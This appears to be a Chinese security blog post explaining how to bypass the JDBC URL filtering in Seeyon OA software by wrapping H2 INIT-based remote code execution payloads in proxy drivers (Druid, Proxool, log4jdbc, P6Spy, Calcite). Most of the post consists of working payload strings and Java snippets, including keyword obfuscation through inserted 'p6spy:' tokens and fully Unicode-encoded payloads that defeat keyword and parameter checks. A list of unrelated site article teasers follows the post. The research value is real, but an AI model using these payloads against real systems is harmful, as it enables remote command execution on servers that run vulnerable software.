0x01起因

以前徐师傅刚公开H2 JDBC RCE的时候我就用来打致远,打了大概两年然后修了最开始是直接用反斜线就可以绕过,后面添加了下面的判断。



新增了一个com.seeyon.ctp.giant.panda.database.url.ValidateContext#connectValidate



com.seeyon.ctp.giant.panda.database.url.JdbcUrlCommaParamsValidate#urlValidate



看了下对几种常见的jdbc做了参数黑白名单配置,黑名单还能绕绕白名单是没法绕了。//最新的致远已经没有H2的驱动了

0x02DruidDriver



注意到上面的检测需要匹配到jdbc url前缀,才会进入对应的检测逻辑,于是看了一下致远一共有哪些JDBC驱动。



sqlite不在上面的检测中但是不止需要控制jdbc url还需要能执行sql语句才能触发。

注意到有一个驱动名字叫做com.alibaba.druid.proxy.DruidDriver

包名里有个proxy我们来看看他connect方法的具体实现

com.alibaba.druid.proxy.DruidDriver#connect



先通过acceptsURL判断url是否合法





即url前缀为jdbc:wrap-jdbc:即可,跟入com.alibaba.druid.proxy.DruidDriver#getDataSource



com.alibaba.druid.proxy.DruidDriver#parseConfig

截取jdbc:wrap-jdbc:后的字符串然后setRawUrl

然后进入com.alibaba.druid.util.JdbcUtils#getDriverClassName获取驱动类

然后进行jdbc连接



所以直接在我们原本的JDBC URL前面加上jdbc:wrap-jdbc:即可,这样可以直接使用druid的驱动类连接h2数据库,从而绕过上述检测逻辑。

jdbc:wrap-jdbc:jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('cmd /c calc')\;

0x03可利用代理驱动

基于上述想法,想到应该不止druid有这样的代理驱动,于是找了一些类似的驱动进行研究总结。

druid

驱动为com.alibaba.druid.proxy.DruidDriver

只需在正常的JDBCPayload前加上jdbc:wrap-jdbc:即可

//com.alibaba.druid.proxy.DruidDriver
String proxoolUrl = "jdbc:wrap-jdbc:jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('cmd /c calc')\\;";
Connection connection = DriverManager.getConnection(proxoolUrl);

这里不需要Class.forName("com.alibaba.druid.proxy.DruidDriver")只有比较老的驱动才需要,现在的 JDBC(JDBC 4.0 及以后),如果你的驱动包(比如 druid.jar)里有 META-INF/services/java.sql.Driver 文件,JDBC 会自动发现并注册驱动,不再需要手动加载。

java.sql.DriverManager#getConnection会遍历所有可以加载的驱动进行尝试

proxool

驱动为org.logicalcobwebs.proxool.ProxoolDriver我本地这个版本为proxool-0.9.1.jar

包里没有 META-INF/services/java.sql.Driver 文件,所以需要先手动加载

proxoolUrl格式为proxool.mypool:+驱动类+JDBCPayload

Class.forName("org.logicalcobwebs.proxool.ProxoolDriver");
String proxoolUrl = "proxool.mypool:org.h2.Driver:jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('cmd /c calc')\\;";
Connection connection = DriverManager.getConnection(proxoolUrl);

这种需要手动加载的需要能控制传入的驱动类为org.logicalcobwebs.proxool.ProxoolDriver才能进入这个驱动的逻辑。

log4jdbc

驱动为net.sf.log4jdbc.sql.jdbcapi.DriverSpy

proxoolUrl格式为jdbc:log4+JDBCPayload

//net.sf.log4jdbc.sql.jdbcapi.DriverSpy
String proxoolUrl = "jdbc:log4jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('cmd /c calc')\\;";
Connection connection = DriverManager.getConnection(proxoolUrl);

上面三种实际上不是很完满,如果碰到上来不判断前缀直接检测的还是可以检测到关键字,下面发现的两种可以解决这个问题。

p6spy

驱动为com.p6spy.engine.spy.P6SpyDriver

前缀需要为jdbc:p6spy:

这里将url里所有的p6spy:都替换为空然后进去驱动的匹配,jdbcurl格式为<font style="color:#DF2A3F;">jdbc:p6spy:h2:mem:testdb;INIT=***</font>才可以通过java.sql.Driver#acceptsURL匹配到h2的驱动。

我们传入的原始url会进入extractRealUrl再传入上面匹配到的驱动的connect方法。

注意到这里是全部替换为空

所有可以用p6spy:插入到任意两个字符之间比如可以写出如下proxoolUrl

//com.p6spy.engine.spy.P6SpyDriver
String proxoolUrl = "jdbc:p6spy:h2:mem:testdb;INp6spy:IT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('cmd /c calc')\\;";
Connection connection = DriverManager.getConnection(proxoolUrl);

INIT变为了INp6spy:IT依然可以进行利用。

calcite

驱动为org.apache.calcite.avatica.UnregisteredDriver

这个驱动最开始我只看到从文件加载的方法,后面看他可以解析yaml想看看他有yaml反序列化没然后yaml反序列化没找到,看到也可以直接通过proxoolUrl连接H2的方式。

官方示例的连接方式为jdbc:calcite:model=./src/main/resources/model.json

解析json和yaml的方法为org.apache.calcite.model.ModelHandler#ModelHandler

此处的uri即为model=后面的值,第一个if里很明显可以直接以字符串方式传入连接配置,然后使用jackson进行解析。所有我们可以里用json解析的一些特性比如unicode来混淆我们的JDBCPayload。

//org.apache.calcite.jdbc.Driver
Connection conn = DriverManager.getConnection("jdbc:calcite:model=inline:{\"version\":\"1.0\",\"defaultSchema\":\"H2\",\"schemas\":[{\"type\":\"jdbc\",\"name\":\"H2\",\"jdbcDriver\":\"org.h2.Driver\",\"jdbcUrl\":\"\\u006a\\u0064\\u0062\\u0063\\u003a\\u0068\\u0032\\u003a\\u006d\\u0065\\u006d\\u003a\\u0074\\u0065\\u0073\\u0074\\u0064\\u0062\\u003b\\u0049\\u004e\\u0049\\u0054\\u003d\\u0043\\u0052\\u0045\\u0041\\u0054\\u0045\\u0020\\u0041\\u004c\\u0049\\u0041\\u0053\\u0020\\u0045\\u0058\\u0045\\u0043\\u0020\\u0041\\u0053\\u0020\\u0027\\u0076\\u006f\\u0069\\u0064\\u0020\\u0063\\u006d\\u0064\\u005f\\u0065\\u0078\\u0065\\u0063\\u0028\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u0020\\u0063\\u006d\\u0064\\u0029\\u0020\\u0074\\u0068\\u0072\\u006f\\u0077\\u0073\\u0020\\u006a\\u0061\\u0076\\u0061\\u002e\\u006c\\u0061\\u006e\\u0067\\u002e\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0020\\u007b\\u0052\\u0075\\u006e\\u0074\\u0069\\u006d\\u0065\\u002e\\u0067\\u0065\\u0074\\u0052\\u0075\\u006e\\u0074\\u0069\\u006d\\u0065\\u0028\\u0029\\u002e\\u0065\\u0078\\u0065\\u0063\\u0028\\u0063\\u006d\\u0064\\u0029\\u005c\\u003b\\u007d\\u0027\\u005c\\u003b\\u0043\\u0041\\u004c\\u004c\\u0020\\u0045\\u0058\\u0045\\u0043\\u0020\\u0028\\u0027\\u0063\\u006d\\u0064\\u0020\\u002f\\u0063\\u0020\\u0063\\u0061\\u006c\\u0063\\u0027\\u0029\\u005c\\u003b\",\"jdbcUser\":\"user\",\"jdbcPassword\":\"password\"}]}");

使用这个代理类黑名单、白名单参数限制都可以的绕过。可以做到不出现& ;这类参数分割符。

总结

当致远系统对常见JDBC驱动增加了黑白名单检测机制后,通过研究发现了一种绕过思路——代理驱动绕过

核心在于利用代理驱动来包装原始的恶意JDBC连接,从而绕过安全检测机制。这种方法不是直接对抗过滤规则,而是通过"曲线救国"的方式实现目标。

上述发现的代理驱动可以分为三个层次:

第一层:基础代理绕过

  • Druid、Proxool、Log4jdbc 等驱动
  • 可绕过通过检查JDBC URL的开头进入对应防护的场景

第二层:关键字混淆绕过

  • P6spy 驱动
  • 通过在关键字中插入 p6spy: 实现混淆(如 INp6spy:IT
  • 可绕过基于关键字匹配的检测机制

第三层:完全编码绕过

  • Calcite 驱动
  • 支持Unicode编码完全混淆恶意payload
  • 可绕过基于关键字、黑白名单参数匹配的防护机制

上述方法也存在局限性依赖目标环境中存在相应的代理驱动包,如遇到的项目里一个也不存在的也可按照本文思路继续挖掘其他潜在的代理驱动。

文中的测试代码已上传github

https://github.com/cwkiller/JDBC-PROXY-Bypass

另辟蹊径:利用代理驱动绕过JDBC Attack检测的更多相关文章

  1. 多加速器驱动AGX的目标检测与车道分割

    多加速器驱动AGX的目标检测与车道分割 Object Detection and Lane Segmentation Using Multiple Accelerators with DRIVE AG ...

  2. 隐藏进程中的模块绕过IceSword的检测

    标 题: [原创] 隐藏进程中的模块绕过IceSword的检测 作 者: xPLK 时 间: 2008-06-19,17:59:11 链 接: http://bbs.pediy.com/showthr ...

  3. Workbench利用Python驱动DM执行Js进行建模

    Workbench的工作平台下可以利用Python进行一些操作,包括添加system和component等等.DM可以通过执行Jscript脚本进行自动建模,因此,结合这两块的内容,可以利用Pytho ...

  4. Python 3 利用 Dlib 实现摄像头实时人脸检测和平铺显示

    1. 引言 在某些场景下,我们不仅需要进行实时人脸检测追踪,还要进行再加工:这里进行摄像头实时人脸检测,并对于实时检测的人脸进行初步提取: 单个/多个人脸检测,并依次在摄像头窗口,实时平铺显示检测到的 ...

  5. Python 3 利用 Dlib 和 sklearn 人脸笑脸检测机器学习建模

    0. 引言 利用机器学习的方法训练微笑检测模型,输入一张人脸照片,判断是否微笑: 精度在 95% 左右( 使用的数据集中 69 张没笑脸,65 张有笑脸 ): 图1 测试图像与检测结果 项目实现的笑脸 ...

  6. 高可用服务之Keepalived利用脚本实现服务的可用性检测

    上一篇博客主要聊到了keepalived高可用LVS集群的相关配置,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/13659428.html:keepalive ...

  7. 161230、利用代理中间件实现大规模Redis集群

    前面在<大规模互联网应用Redis架构要点>和<Redis官方集群方案 Redis Cluster>两篇文章中分别介绍了多Redis服务器集群的两种方式,它们是基于客户端sha ...

  8. 警惕黑客利用新方法绕过Office安全链接

    东方联盟黑客安全研究人员透露,一些黑客已经发现绕过MicrosoftOffice365的安全功能,该功能最初旨在保护用户免受恶意软件和网络钓鱼攻击. 被称为安全链接的功能已被包含在Office365软 ...

  9. 漏洞利用:验证绕过,XSS利用,Cookic盗用,文件上传

    1.      文件上传 低级别 写好上传的内容 选择好上传的文件 上传成功. 测试:访问文件,执行代码 中级别 修改文件后缀为png 上传该文件 抓包修改文件后缀为php,然后允许数据包通过. 上传 ...

  10. 利用SHELL脚本实现文件完整性检测程序(1.2版更新)

    一..开发背景 因时势所逼,需要对服务器的文件系统实行监控.虽然linux下有不少入侵检测和防窜改系统,但都比较麻烦,用起来也不是很称手.自己琢磨着也不需要什么多复杂的功能,写个脚本应该就可以满足基本 ...

随机推荐

  1. 【Docker】常用服务镜像安装

    Docker常用安装 总体步骤 搜索镜像:docker search xxx 拉取镜像:docker pull xxx 查看镜像:docker images 启动镜像:docker run xxx 停 ...

  2. study Rust-2【环境与配置,随机数】

    Rust教程资料很多.但是,这是教程学习资料感觉挺好!推荐给你https://doc.rust-lang.org/stable/book/ (简体中文译本)在线阅读 学习rust开始有点感觉了.美好的 ...

  3. nodejs终端字符样式和进度条

    Nodejs为终端字符增加样式 只有黑白的色调对于比较复杂的命令行程序来说就显得太单调了,我们可以为命令行程序增加样式使得程序更加友好! 安装package: npm install -S chalk ...

  4. 老生再谈 IoC

    IoC,Spring的核心理念之一,确实这是一个老生常谈的东西.但是今天呢!又重新温习之后,想再说说自己对IOC的一些想法. IoC--Inversion of Control,控制反转.要想理解Io ...

  5. 详细介绍Mybatis的缓存机制

    一.缓存机制 1.缓存概述 缓存:缓存就是一块内存空间,保存临时数据 作用:将数据源(数据库或者文件)中的数据读取出来存放到缓存中,再次获取时直接从缓存中获取,可以减少和数据库交互的次数,提升程序的性 ...

  6. Spring Cloud Config分布式配置中心

    一.Spring Cloud Config分布式配置中心作用:可以通过修改在git仓库中的配置文件实现其它所有微服务的配置文件的修改 二.结构图

  7. 把 Java WebApi 快速转为 Mcp-Server(使用 Solon AI MCP)

    solon-ai-mcp,提供了各种 mcp 相关能力,支持 java8, java11, java17, java21, java24 .是 solon-ai 项目的重要组成部分,也可以嵌入到 sp ...

  8. 网鼎杯朱雀组-GO

    这里猜测是魔改base64 尝试替换回去 import string import base64 new="XYZFGHI2+/Jhi345jklmEnopuvwqrABCDKL6789ab ...

  9. 等保2.0>Windows下实现MySQL数据库自动备份

    说明: MySQL数据库安装目录:C:\Program Files\mysql-5.7.37-winx64\mysql-5.7.37-winx64 MySQL数据库存放目录:C:\Program Fi ...

  10. 痞子衡嵌入式:聊聊i.MXRT1024/1064片内4MB Flash的SFDP表易丢失导致的烧录异常

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是i.MXRT1024/1064片内4MB Flash的SFDP表易丢失导致的烧录异常. 我们知道 i.MXRT 系列本身并没有片内非易失 ...